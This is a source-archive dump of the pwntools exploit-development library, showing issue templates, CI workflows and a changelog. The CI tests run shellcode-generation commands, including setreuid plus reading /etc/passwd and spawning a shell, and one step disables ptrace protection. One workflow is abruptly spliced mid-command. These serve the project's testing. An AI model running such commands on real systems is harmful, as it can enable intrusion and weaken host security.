pax_global_header00006660000000000000000000000064150727376450014532gustar00rootroot0000000000000052 comment=3ad86ec5adab1abf9781ca7552a6f5d7cff7a33c Gallopsled-pwntools-3ad86ec/000077500000000000000000000000001507273764500162025ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/.gitattributes000066400000000000000000000000401507273764500210670ustar00rootroot00000000000000pwnlib/data/* linguist-vendored Gallopsled-pwntools-3ad86ec/.github/000077500000000000000000000000001507273764500175425ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/.github/ISSUE_TEMPLATE.md000066400000000000000000000012051507273764500222450ustar00rootroot00000000000000# Pwntools Issue Template Thanks for contributing to Pwntools! When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`). Please verify that your issue occurs on 64-bit Ubuntu 14.04. You can use the Dockerfile on `docker.io` for quick testing. ``` $ docker pull pwntools/pwntools:stable $ docker run -it pwntools/pwntools:stable ``` If possible, provide a proof-of-concept which demonstrates the problem. Include any binaries or scripts necessary to reproduce the issue, and please include the full debug output via setting the environment variable `PWNLIB_DEBUG=1`. Gallopsled-pwntools-3ad86ec/.github/ISSUE_TEMPLATE/000077500000000000000000000000001507273764500217255ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/.github/ISSUE_TEMPLATE/bug_report.md000066400000000000000000000026071507273764500244240ustar00rootroot00000000000000--- name: Bug report about: Create a report to help us improve title: '' labels: backport-required, bug assignees: '' --- Thanks for contributing to Pwntools! ## Update Pwntools First When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`). ## Debug Output Having the extra debug output really helps us, and might help you diagnose the problem yourself. When submitting an issue that has output from Pwntools, make sure to run your script as shown below, to enable the extra debugging data. ```sh $ python exploit.py DEBUG LOG_FILE=log.txt ``` You should see `[DEBUG]` statements that show what's happening behind the scenes: ``` [+] Starting local process '/bin/sh' argv=['sh'] : pid 16823 [DEBUG] Sent 0x7 bytes: 'whoami\n' [DEBUG] Sent 0x5 bytes: 'exit\n' [+] Receiving all data: Done (11B) [DEBUG] Received 0xb bytes: 'crashheap\n' [*] Process '/bin/sh' stopped with exit code 0 (pid 16823) ``` ## Verify on Ubuntu If possible, please verify that your issue occurs on 64-bit Ubuntu 22.04. We provide a Dockerfile based on Ubuntu 22.04 via `docker.io` to make this super simple, no VM required! ```sh # Download the Docker image $ docker pull pwntools/pwntools:stable # Boot the image $ docker run -it pwntools/pwntools:stable pwntools@7dc3ef409476:~$ python >>> from pwn import * >>> # Test your code here ``` Gallopsled-pwntools-3ad86ec/.github/ISSUE_TEMPLATE/feature_request.md000066400000000000000000000007651507273764500254620ustar00rootroot00000000000000--- name: Feature request about: Suggest an idea for this project title: '' labels: feature assignees: '' --- Thanks for contributing to Pwntools! Ideas from the community help make Pwntools an amazing tool for everybody. If you've got an idea for a new feature, please provide information about: * What the feature does * Why the feature should exist * What tests should be included If you think you can write the feature yourself, please submit a Pull Request and we can review your changes! Gallopsled-pwntools-3ad86ec/.github/ISSUE_TEMPLATE/question.md000066400000000000000000000011551507273764500241200ustar00rootroot00000000000000--- name: Question about: Ask us a question about Pwntools title: '' labels: question assignees: '' --- Thanks for using Pwntools! If you have a question, here are some tips that will make it easier for us to help you. ## Check the Documentation Pwntools has REALLY extensive documentation. Please check there first! https://docs.pwntools.com ## Debug Output If you're having an issue with an exploit, run your script with full debugging output, i.e. `python exploit.py DEBUG`. This may help you to see what's happening under the hood, and the debug output will help to diagnose any issues you're encountering. Gallopsled-pwntools-3ad86ec/.github/PULL_REQUEST_TEMPLATE.md000066400000000000000000000027121507273764500233450ustar00rootroot00000000000000# Pwntools Pull Request Thanks for contributing to Pwntools! Take a moment to look at [`CONTRIBUTING.md`][contributing] to make sure you're familiar with Pwntools development. Please provide a high-level explanation of what this pull request is for. ## Testing Pull Requests that introduce new code should try to add doctests for that code. See [`TESTING.md`][testing] for more information. ## Target Branch Depending on what the PR is for, it needs to target a different branch. You can always [change the branch][change] after you create the PR if it's against the wrong branch. | Branch | Type of PR | | -------- | ---------------------------------------------------------------- | | `dev` | New features, and enhancements | `dev` | Documentation fixes and new tests | `stable` | Bug fixes that affect the current `stable` branch | `beta` | Bug fixes that affect the current `beta` branch, but not `stable` | `dev` | Bug fixes for code that has never been released [contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md [testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md [change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request ## Changelog After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch. You can look at the existing changelog for examples of how to do this. Gallopsled-pwntools-3ad86ec/.github/dependabot.yml000066400000000000000000000002561507273764500223750ustar00rootroot00000000000000version: 2 updates: - package-ecosystem: "github-actions" directory: "/" schedule: # Check for updates to GitHub Actions every week interval: "weekly" Gallopsled-pwntools-3ad86ec/.github/workflows/000077500000000000000000000000001507273764500215775ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/.github/workflows/android.yml000066400000000000000000000040261507273764500237440ustar00rootroot00000000000000name: Android Tests on: [push, pull_request] jobs: android-test: strategy: matrix: python-version: ['3.10'] os: [ubuntu-latest] runs-on: ${{ matrix.os }} timeout-minutes: 30 steps: - uses: actions/checkout@v4 - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} cache: 'pip' cache-dependency-path: | **/pyproject.toml **/requirements*.txt - name: Install Linux dependencies run: | sudo apt-get update sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \ gdb gdbserver socat \ qemu-user-static \ binutils-aarch64-linux-gnu \ binutils-arm-linux-gnueabihf \ libc6-dbg - name: Cache for avd uses: actions/cache@v4 id: cache-avd with: path: | ~/.android /usr/local/lib/android/sdk/emulator /usr/local/lib/android/sdk/platform-tools /usr/local/lib/android/sdk/system-images key: ${{ matrix.os }}-cache-avd-${{ hashFiles('travis/setup_avd*.sh') }} restore-keys: | ${{ matrix.os }}-cache-avd- - name: Install Android AVD run: | sudo usermod -aG kvm $USER source travis/setup_avd_fast.sh sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py set | grep ^PATH >.android.env - name: Install dependencies run: | pip install --upgrade pip python setup.py egg_info pip install --upgrade --editable . - name: Sanity checks run: PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)' - name: Install documentation dependencies run: pip install -r docs/requirements.txt - name: Coverage Doctests (Android Only) run: | source .android.env PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst Gallopsled-pwntools-3ad86ec/.github/workflows/changelog.yml000066400000000000000000000014441507273764500242540ustar00rootroot00000000000000name: Changelog on: pull_request: paths: - pwnlib/** - pwn/** env: GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }} jobs: check: strategy: matrix: os: [ubuntu-latest] runs-on: ${{ matrix.os }} timeout-minutes: 5 steps: - uses: actions/checkout@v4 with: fetch-depth: 0 - name: Check changelog for updates run: | if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then echo 'Changelog updated :D' else if git log --stat ${GITHUB_BASE}..HEAD pwnlib pwn | grep '++\|--'; then echo 'Major changes detected, changelog required!' false else echo 'Minor changes detected, no changelog required!' fi fi Gallopsled-pwntools-3ad86ec/.github/workflows/ci.yml000066400000000000000000000276621507273764500227320ustar00rootroot00000000000000name: Continuous Integration on: [push, pull_request] jobs: test: strategy: matrix: python_version: ['3.10', '3.12'] os: [ubuntu-latest] include: - python_version: '2.7' os: ubuntu-22.04 runs-on: ${{ matrix.os }} timeout-minutes: 30 services: libcdb-cache: image: nginx volumes: - /home/runner/libcdb-cache:/var/cache/nginx ports: - 3000:3000 # https://debuginfod.elfutils.org proxy cache - 3001:3001 # https://libc.rip/ proxy cache - 3002:3002 # http://archive.ubuntu.com/ proxy cache - 3003:3003 # https://gitlab.com/ proxy cache - 3004:3004 # https://debuginfod.ubuntu.com/ proxy cache env: DEBUGINFOD_URLS: "http://localhost:3000/ http://localhost:3004/" PWN_LIBCRIP_URL: http://localhost:3001/ PWN_UBUNTU_ARCHIVE_URL: http://localhost:3002/ PWN_GITLAB_LIBCDB_URL: http://localhost:3003/ steps: - uses: actions/checkout@v4 with: fetch-depth: 20 - name: Git History run: | git fetch origin git log --oneline --graph -10 - name: Fix libcdb-cache permissions id: fix-perms run: | sudo chown -R runner:runner /home/runner/libcdb-cache echo "date=$(/bin/date -u "+%Y%m%d%H%M%S")" >> $GITHUB_OUTPUT - name: Cache for libcdb requests uses: actions/cache@v4 with: path: ~/libcdb-cache key: libcdb-python${{ matrix.python_version }}-${{ steps.fix-perms.outputs.date }} restore-keys: | libcdb-python${{ matrix.python_version }}- libcdb- - name: Install libcdb-cache service config run: | sudo chown -R 101:101 /home/runner/libcdb-cache container_id=$(docker ps --all --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}") docker cp ./travis/libcdb_nginx_cache.conf $container_id:/etc/nginx/nginx.conf docker restart $container_id - name: Install RPyC for gdb run: | # The version packaged in python3-rpyc is too old on Ubuntu 24.04 # We use ^6.0 from pip. sudo apt-get update && sudo apt-get install -y python3-pip gdb gdbserver /usr/bin/python -m pip install --break-system-packages rpyc || /usr/bin/python -m pip install rpyc gdb --batch --quiet --nx --nh --ex 'py import rpyc; print(rpyc.version.version)' - name: Cache for pip uses: actions/cache@v4 if: matrix.python_version == '2.7' with: path: ~/.cache/pip key: ${{ matrix.os }}-${{ matrix.python_version }}-cache-pip-${{ hashFiles('**/pyproject.toml', '**/requirements*.txt') }} restore-keys: ${{ matrix.os }}-${{ matrix.python_version }}-cache-pip- - name: Set up Python ${{ matrix.python_version }} if: matrix.python_version != '2.7' uses: actions/setup-python@v5 with: python-version: ${{ matrix.python_version }} cache: 'pip' cache-dependency-path: | **/pyproject.toml **/requirements*.txt - name: Set up Python 2.7 if: matrix.python_version == '2.7' run: | sudo apt-get update sudo apt-get install -y \ python2.7 python2.7-dev python2-pip-whl sudo ln -sf python2.7 /usr/bin/python export PYTHONPATH=`echo /usr/share/python-wheels/pip-*py2*.whl` sudo --preserve-env=PYTHONPATH python -m pip install --upgrade pip setuptools wheel sudo chown -R $USER /usr/local/lib/python2.7 - name: Verify tag against version if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags') env: GITHUB_REF: ${{ github.event.ref }} run: | set -x GITHUB_TAG=${GITHUB_REF#refs/tags/} echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$' vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*") vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*") [ "$vsetup" = "$vpwnlib" ] [ "$GITHUB_TAG" = "$vsetup" ] - name: Install Linux dependencies run: | sudo apt-get update sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \ ash bash-static dash ksh mksh zsh \ gdb gdbserver socat \ binutils-multiarch qemu-user-static \ binutils-aarch64-linux-gnu \ binutils-arm-linux-gnueabihf \ binutils-mips-linux-gnu \ binutils-mipsel-linux-gnu \ binutils-msp430 \ binutils-powerpc-linux-gnu \ binutils-s390x-linux-gnu \ binutils-sparc64-linux-gnu \ binutils-riscv64-linux-gnu \ gcc-multilib \ libc6-dbg \ elfutils \ patchelf - name: Testing Corefiles run: | ulimit -a ulimit -c unlimited cat /proc/sys/kernel/core_pattern cat /proc/sys/kernel/core_uses_pid ( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core*) || true - name: Set up SSH run: | travis/ssh_setup.sh - name: Install dependencies run: | pip install --upgrade pip pip install --upgrade wheel build pip install --upgrade flake8 appdirs pip install --upgrade --editable . - name: Sanity checks run: PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)' - name: Install documentation dependencies run: pip install -r docs/requirements.txt - name: Manually install non-broken Unicorn if: matrix.python_version == '2.7' run: pip install unicorn==2.0.0rc7 - name: Disable yama ptrace_scope run: | echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests - name: Coverage doctests run: | # Python version installed using setup-python interferes with gdb's python # by setting LD_LIBRARY_PATH and gdb's python becoming unable to load built-in modules # like _socket. This is a workaround. unset LD_LIBRARY_PATH PWNLIB_NOTERM=1 python -bb -m coverage run -m sphinx -b doctest docs/source docs/build/doctest - name: Coverage running examples run: | export TERM=linux set -x python -bb travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit.py python -bb travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit2.py || : # can fail randomly? python -bb -m coverage run examples/asm.py python -bb -m coverage run examples/asm.py python -bb -m coverage run examples/text.py # for f in examples/sigreturn_corefile_*.py; do coverage run "$f"; done # XXX something is wrong - name: Coverage running commandline tools run: | export TERM=linux pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec python -bb -m coverage run -m pwnlib.commandline."$cmd" "$@" ) } set -x pwn cyclic 32 pwn cyclic -l 0x62616161 pwn cyclic -a ab echo pwn shellcraft --list |tail pwn shellcraft -l --syscalls |tail pwn shellcraft -l execve pwn shellcraft -l execve + exit pwn shellcraft --show i386.linux.loader_append pwn shellcraft --show i386.linux.loader_append + i386.linux.sh pwn shellcraft -f asm --color amd64.linux.sh pwn shellcraft -f asm --color amd64.linux.setreuid + amd64.linux.cat /etc/passwd pwn shellcraft -f asm --color amd64.linux.setreuid = amd64.linux.cat /key+secret --delim = pwn shellcraft -f elf amd64.linux.syscalls.exit 0 >>>>|=====|<<<<<)'; then echo 'WARNING: Merge marker commits found in history.' if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+(>>>>>|=====|<<<<<)'; then echo 'ERROR: Merge markers still present! Do something!' exit 1 fi else echo 'Congrats! All the merges you did were clean or resolved correctly :)' fi Gallopsled-pwntools-3ad86ec/.github/workflows/pylint.yml000066400000000000000000000017021507273764500236410ustar00rootroot00000000000000name: PyLint on: [pull_request] jobs: build: strategy: matrix: python-version: ['3.10'] os: [ubuntu-latest] runs-on: ${{ matrix.os }} timeout-minutes: 30 steps: - uses: actions/checkout@v4 - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} cache: 'pip' cache-dependency-path: | **/pyproject.toml **/requirements*.txt - name: PyLint run: | set -x pip install pylint pip install --upgrade -e . run_pylint() { pylint --exit-zero --errors-only pwnlib -f parseable | cut -d ' ' -f2- | sed 's/line [0-9]\+/line XXXX/g'; } run_pylint > current.txt git fetch origin git checkout origin/"$GITHUB_BASE_REF" run_pylint > base.txt if diff base.txt current.txt | grep '>'; then false fi Gallopsled-pwntools-3ad86ec/.gitignore000066400000000000000000000002731507273764500201740ustar00rootroot00000000000000*.o *.hi *.pyc *~ *.swp .ropeproject *.pdf */auto/* */bin/* docs/build build MANIFEST dist venv .vscode .idea *.egg-info *.core .coverage .coverage.* .idea __pycache__ !.github .DS_Store Gallopsled-pwntools-3ad86ec/.isort.cfg000066400000000000000000000001051507273764500200750ustar00rootroot00000000000000[settings] indent=' ' not_skip = __init__.py force_single_line = 1Gallopsled-pwntools-3ad86ec/.readthedocs.yaml000066400000000000000000000003511507273764500214300ustar00rootroot00000000000000# https://docs.readthedocs.io/en/stable/config-file/v2.html version: 2 build: os: ubuntu-22.04 tools: python: "3.12" sphinx: configuration: docs/source/conf.py python: install: - requirements: docs/requirements.txt Gallopsled-pwntools-3ad86ec/.sublime-settings000066400000000000000000000002671507273764500215060ustar00rootroot00000000000000{ "default_encoding": "UTF-8", "ensure_newline_at_eof_on_save": true, "tab_size": 4, "translate_tabs_to_spaces": true, "trim_trailing_white_space_on_save": true } Gallopsled-pwntools-3ad86ec/CHANGELOG.md000066400000000000000000002070201507273764500200140ustar00rootroot00000000000000# Changelog This changelog only includes added major features and changes. Bugfixes and minor changes are omitted. ## Release History The table below shows which release corresponds to each branch, and what date the version was released. | Version | Branch | Release Date | | ---------------- | -------- | ---------------------- | | [5.0.0](#500-dev) | `dev` | | [4.15.0](#4150-stable) | `stable` | Oct 12, 2025 | [4.14.1](#4141) | | Mar 24, 2025 | [4.14.0](#4140) | | Jan 15, 2025 | [4.13.1](#4131) | | Sep 29, 2024 | [4.13.0](#4130) | | Aug 12, 2024 | [4.12.0](#4120) | | Feb 22, 2024 | [4.11.1](#4111) | | Nov 14, 2023 | [4.11.0](#4110) | | Sep 15, 2023 | [4.10.0](#4100) | | May 21, 2023 | [4.9.0](#490) | | Dec 29, 2022 | [4.8.0](#480) | | Apr 21, 2022 | [4.7.1](#471) | | Apr 20, 2022 | [4.7.0](#470) | | Nov 15, 2021 | [4.6.0](#460) | | Jul 12, 2021 | [4.5.1](#451) | | May 30, 2021 | [4.5.0](#450) | | Apr 30, 2021 | [4.4.0](#440) | | Mar 29, 2021 | [4.3.1](#431) | | Nov 29, 2020 | [4.3.0](#430) | | Oct 20, 2020 | [4.2.0](#420) | | Jul 3, 2020 | [4.1.7](#417) | | Jun 30, 2020 | [4.1.5](#415) | | Jun 27, 2020 | [4.1.4](#414) | | Jun 26, 2020 | [4.1.3](#413) | | Jun 23, 2020 | [4.1.2](#412) | | Jun 5, 2020 | [4.1.1](#411) | | Jun 3, 2020 | [4.1.0](#410) | | May 8, 2020 | [4.0.1](#401) | | Jan 22, 2020 | [4.0.0](#400) | | Jan 09, 2020 | [3.13.0](#3130) | | Nov 5, 2019 | [3.12.2](#3122) | | Jan 8, 2019 | [3.12.1](#3121) | | Sept 17, 2018 | [3.12.0](#3120) | | Feb 22, 2018 | [3.11.0](#3110) | | Jan 3, 2018 | [3.10.0](#3100) | | Oct 25, 2017 | [3.9.2](#392) | | Oct 5, 2017 | [3.9.1](#391) | | Sep 28, 2017 | [3.9.0](#390) | | Sep 11, 2017 | [3.8.0](#380) | | Jul 29, 2017 | [3.7.1](#371) | | Jul 14, 2017 | [3.7.0](#370) | | Jun 19, 2017 | [3.6.1](#361) | | May 12, 2017 | [3.6.0](#360) | | May 8, 2017 | [3.5.1](#351) | | Apr 15, 2017 | [3.5.0](#350) | | Mar 26, 2017 | [3.4.1](#341) | | Feb 17, 2017 | [3.4.0](#340) | | Feb 13, 2017 | [3.3.4](#334) | | Jan 12, 2016 | [3.3.3](#333) | | Jan 10, 2016 | [3.3.2](#332) | | Jan 10, 2016 | [3.3.1](#331) | | Jan 10, 2016 | [3.3.0](#330) | | Dec 24, 2016 | [3.2.1](#321) | | Dec 24, 2016 | [3.2.0](#320) | | Nov 12, 2016 | [3.1.1](#311) | | Oct 23, 2016 | [3.1.0](#310) | | Oct 2, 2016 | [3.0.4](#304) | | Sept 19, 2016 | [3.0.3](#303) | | Sept 18, 2016 | [3.0.2](#302) | | Sept 6, 2016 | [3.0.1](#301) | | Aug 20, 2016 | [3.0.0](#300) | | Aug 20, 2016 | [2.2.0](#220) | | Jan 5, 2015 ## 5.0.0 (`dev`) - [#2598][2598] aarch64: Fix ABI definition - [#2419][2419] riscv: avoid compressed instructions (if you need compressed, use .option rvc) - [#2551][2551] Detect when kitty is being used as terminal - [#2519][2519] Drop Python 2.7 support / Require Python 3.10 - [#2507][2507] Add `+LINUX` and `+WINDOWS` doctest options and start proper testing on Windows - [#2522][2522] Support starting a kitty debugging window with the 'kitten' command - [#2524][2524] Raise EOFError during `process.recv` when stdout closes on Windows - [#2526][2526] Properly make use of extra arguments in `packing` utilities. `sign` parameter requires keyword syntax to specify it. - [#2517][2517] Allow to passthru kwargs on `ssh.__getattr__` convenience function to fix SSH motd problems - [#2530][2530] Do NOT error when passing directory arguments in `checksec` commandline tool. - [#2529][2529] Add LoongArch64 support - [#2506][2506] ROP: fix `ROP(ELF(exe)).leave` is `None` in some ELF - [#2504][2504] doc: add example case for `tuple` (host, port pair) in `gdb.attach` - [#2546][2546] ssh: Allow passing disabled_algorithms keyword argument from ssh to paramiko - [#2538][2538] Add `ssh -L` / `ssh.connect_remote()` workaround when `AllowTcpForwarding` is disabled - [#2574][2574] Allow creating an ELF from in-memory bytes - [#2575][2575] Detect when Terminator is being used as terminal - [#2578][2578] Add gnome-terminal, Alacritty, Ttilix for run_in_new_terminal - [#2590][2590] Add support for finding corefiles under WSL2 - [#2496][2496] Add linux ko file search support - [#2542][2542] Decode `_IO_*` flags in `FileStructure` member - [#2592][2592] pwnlib.config: Fix customization of `context.timeout` - [#2608][2608] Abort on `libcdb file libc.so --unstrip` if eu-unstrip is not installed - [#2611][2611] Cleanup `pwnlib.lexer` exports and imports - [#2610][2610] Fix `log.progress` ignoring `context.log_console` - [#2615][2615] tube/process: Fix redirecting stderr to stdout on Windows [2598]: https://github.com/Gallopsled/pwntools/pull/2598 [2419]: https://github.com/Gallopsled/pwntools/pull/2419 [2551]: https://github.com/Gallopsled/pwntools/pull/2551 [2519]: https://github.com/Gallopsled/pwntools/pull/2519 [2507]: https://github.com/Gallopsled/pwntools/pull/2507 [2522]: https://github.com/Gallopsled/pwntools/pull/2522 [2524]: https://github.com/Gallopsled/pwntools/pull/2524 [2526]: https://github.com/Gallopsled/pwntools/pull/2526 [2517]: https://github.com/Gallopsled/pwntools/pull/2517 [2530]: https://github.com/Gallopsled/pwntools/pull/2530 [2529]: https://github.com/Gallopsled/pwntools/pull/2529 [2506]: https://github.com/Gallopsled/pwntools/pull/2506 [2504]: https://github.com/Gallopsled/pwntools/pull/2504 [2546]: https://github.com/Gallopsled/pwntools/pull/2546 [2538]: https://github.com/Gallopsled/pwntools/pull/2538 [2574]: https://github.com/Gallopsled/pwntools/pull/2574 [2575]: https://github.com/Gallopsled/pwntools/pull/2575 [2578]: https://github.com/Gallopsled/pwntools/pull/2578 [2590]: https://github.com/Gallopsled/pwntools/pull/2590 [2496]: https://github.com/Gallopsled/pwntools/pull/2496 [2542]: https://github.com/Gallopsled/pwntools/pull/2542 [2592]: https://github.com/Gallopsled/pwntools/pull/2592 [2608]: https://github.com/Gallopsled/pwntools/pull/2608 [2611]: https://github.com/Gallopsled/pwntools/pull/2611 [2610]: https://github.com/Gallopsled/pwntools/pull/2610 [2615]: https://github.com/Gallopsled/pwntools/pull/2615 ## 4.15.0 (`stable`) - [#2508][2508] Ignore a warning when compiling with asm on nix - [#2471][2471] Properly close spawned kitty window - [#2358][2358] Cache output of `asm()` - [#2457][2457] Catch exception of non-ELF files in checksec. - [#2444][2444] Add `ELF.close()` to release resources - [#2413][2413] libcdb: improve the search speed of `search_by_symbol_offsets` in local libc-database - [#2470][2470] Fix waiting for gdb under WSL2 - [#2479][2479] Support extracting libraries from Docker image in `pwn template` - [#2483][2483] Only print `checksec` output of `ELF.libc` when it was printed for the `ELF` already - [#2482][2482] Throw error when using `sni` and setting `server_hostname` manually in `remote` - [#2478][2478] libcdb-cli: add `--offline-only`, refactor unstrip and add fetch parser for download libc-database - [#2484][2484] Allow to disable caching - [#2291][2291] Fix attaching to a gdbserver with tuple `gdb.attach(('0.0.0.0',12345))` - [#2410][2410] Add `tube.upload_manually` to upload files in chunks - [#2502][2502] Fix loading ELF files without valid .dynamic section - [#2476][2476] Deprecate 'keepends' argument in favor of 'drop' in `tube.recvline*` - [#2364][2364] Deprecate direct commandline scripts invocation and exclude nonsense ones - [#2570][2570] Fix `pwn template` to skip Docker library extraction for statically linked binaries - [#2545][2545] SSH: fix download/upload with -1 exit status - [#2567][2567] Fix mistakenly parsing of ld-linux error messages. - [#2576][2576] regsort: respect register aliases - [#2595][2595] libcdb: Add Ubuntu and Debian debuginfod servers to default list - [#2593][2593] Use unicorn on macOS w/ SIP enabled - [#2587][2587] Support longer function names in Windows `getexport` shellcode - [#2596][2596] Ignore `colored_traceback` error when TERM envvar is unset - [#2579][2579] Fix poll error in `process.libs()` and clean up maps parsing - [#2602][2602] Allow setting debugger path via context.gdb_binary - [#2609][2609] Fix log level of child remotes of `server` tube - [#2612][2612] Fix lookup of binutils for `mipsel` architecture - [#2624][2624] Fix regression: gdbserver can't handle command-line argument containing whitespace [2508]: https://github.com/Gallopsled/pwntools/pull/2508 [2471]: https://github.com/Gallopsled/pwntools/pull/2471 [2358]: https://github.com/Gallopsled/pwntools/pull/2358 [2457]: https://github.com/Gallopsled/pwntools/pull/2457 [2444]: https://github.com/Gallopsled/pwntools/pull/2444 [2413]: https://github.com/Gallopsled/pwntools/pull/2413 [2470]: https://github.com/Gallopsled/pwntools/pull/2470 [2479]: https://github.com/Gallopsled/pwntools/pull/2479 [2483]: https://github.com/Gallopsled/pwntools/pull/2483 [2482]: https://github.com/Gallopsled/pwntools/pull/2482 [2478]: https://github.com/Gallopsled/pwntools/pull/2478 [2484]: https://github.com/Gallopsled/pwntools/pull/2484 [2291]: https://github.com/Gallopsled/pwntools/pull/2291 [2410]: https://github.com/Gallopsled/pwntools/pull/2410 [2502]: https://github.com/Gallopsled/pwntools/pull/2502 [2476]: https://github.com/Gallopsled/pwntools/pull/2476 [2364]: https://github.com/Gallopsled/pwntools/pull/2364 [2570]: https://github.com/Gallopsled/pwntools/pull/2570 [2545]: https://github.com/Gallopsled/pwntools/pull/2545 [2567]: https://github.com/Gallopsled/pwntools/pull/2567 [2576]: https://github.com/Gallopsled/pwntools/pull/2576 [2595]: https://github.com/Gallopsled/pwntools/pull/2595 [2593]: https://github.com/Gallopsled/pwntools/pull/2593 [2587]: https://github.com/Gallopsled/pwntools/pull/2587 [2596]: https://github.com/Gallopsled/pwntools/pull/2596 [2579]: https://github.com/Gallopsled/pwntools/pull/2579 [2602]: https://github.com/Gallopsled/pwntools/pull/2602 [2609]: https://github.com/Gallopsled/pwntools/pull/2609 [2612]: https://github.com/Gallopsled/pwntools/pull/2612 [2624]: https://github.com/Gallopsled/pwntools/pull/2624 ## 4.14.1 (`stable`) - [#2451][2451] Show symbols defined to value 0 (start of file) - [#2533][2533] Fix installation on Python 3.5 and lower - [#2518][2518] fix: update apport coredump path handling for CorefileFinder - [#2552][2552] Fix memcpy shellcraft template off-by-one - [#2559][2559] Fix parsing corefile with missing auxv - [#2562][2562] Fix syntax highlighting of multiline comments in ASM - [#2565][2565] Exclude broken Unicorn [2451]: https://github.com/Gallopsled/pwntools/pull/2451 [2533]: https://github.com/Gallopsled/pwntools/pull/2533 [2518]: https://github.com/Gallopsled/pwntools/pull/2518 [2552]: https://github.com/Gallopsled/pwntools/pull/2552 [2559]: https://github.com/Gallopsled/pwntools/pull/2559 [2562]: https://github.com/Gallopsled/pwntools/pull/2562 [2565]: https://github.com/Gallopsled/pwntools/pull/2565 ## 4.14.0 - [#2356][2356] Add local libc database provider for libcdb - [#2360][2360] Add offline parameter for `search_by_hash` series function - [#2388][2388] libcdb: add `offline_only` to `search_by_symbol_offsets` - [#2374][2374] libcdb.unstrip_libc: debug symbols are fetched only if not present - [#2327][2327] Add basic support to debug processes on Windows - [#2437][2437] Support asm/disasm on Windows - [#2330][2330] Change `context.newline` when setting `context.os` to `"windows"` - [#2322][2322] Add basic RISCV64 shellcraft support - [#2376][2376] Return buffered data on first EOF in tube.readline() - [#2371][2371] Add functions for retrieving process mappings - [#2398][2398] Add support for generating multiple shellcodes at a time in shellcraft - [#2389][2389] Fix passing bytes to `context.log_file` and `crc.BitPolynom` - [#2391][2391] Fix error message when passing invalid kwargs to `xor` - [#2387][2387] Convert apport_corefile() output from bytes-like object to string - [#2415][2415] Add shellcraft template for IPv6 socket - [#2405][2405] Add "none" ssh authentication method - [#2427][2427] Document behaviour of remote()'s sni argument as string. - [#2382][2382] added optional port, gdb_args and gdbserver_args parameters to gdb.debug() - [#2435][2435] Speed up gdbserver handshake in gdb.debug() - [#2436][2436] Add resolution_addr parameter to Ret2dlresolvePayload - [#2497][2497] Fix remote.fromsocket() to handle AF_INET6 socket [2436]: https://github.com/Gallopsled/pwntools/pull/2436 [2371]: https://github.com/Gallopsled/pwntools/pull/2371 [2360]: https://github.com/Gallopsled/pwntools/pull/2360 [2356]: https://github.com/Gallopsled/pwntools/pull/2356 [2374]: https://github.com/Gallopsled/pwntools/pull/2374 [2327]: https://github.com/Gallopsled/pwntools/pull/2327 [2322]: https://github.com/Gallopsled/pwntools/pull/2322 [2330]: https://github.com/Gallopsled/pwntools/pull/2330 [2389]: https://github.com/Gallopsled/pwntools/pull/2389 [2391]: https://github.com/Gallopsled/pwntools/pull/2391 [2376]: https://github.com/Gallopsled/pwntools/pull/2376 [2387]: https://github.com/Gallopsled/pwntools/pull/2387 [2388]: https://github.com/Gallopsled/pwntools/pull/2388 [2398]: https://github.com/Gallopsled/pwntools/pull/2398 [2415]: https://github.com/Gallopsled/pwntools/pull/2415 [2405]: https://github.com/Gallopsled/pwntools/pull/2405 [2427]: https://github.com/Gallopsled/pwntools/pull/2405 [2382]: https://github.com/Gallopsled/pwntools/pull/2382 [2435]: https://github.com/Gallopsled/pwntools/pull/2435 [2437]: https://github.com/Gallopsled/pwntools/pull/2437 [2497]: https://github.com/Gallopsled/pwntools/pull/2497 ## 4.13.1 - [#2445][2445] Fix parsing the PLT on Windows - [#2466][2466] Fix PLT emulation with Unicorn 2.1.0 - [#2466][2466] Switch to PyPi Simple API for update checks - [#2467][2467] Fix loading at all on Windows - [#2469][2469] GDB 15+ rpyc detection [2445]: https://github.com/Gallopsled/pwntools/pull/2445 [2466]: https://github.com/Gallopsled/pwntools/pull/2466 [2467]: https://github.com/Gallopsled/pwntools/pull/2467 [2469]: https://github.com/Gallopsled/pwntools/pull/2469 ## 4.13.0 - [#2242][2242] Term module revamp: activating special handling of terminal only when necessary - [#2277][2277] elf: Resolve more relocations into GOT entries - [#2281][2281] FIX: Getting right amount of data for search fix - [#2293][2293] Add x86 CET status to checksec output - 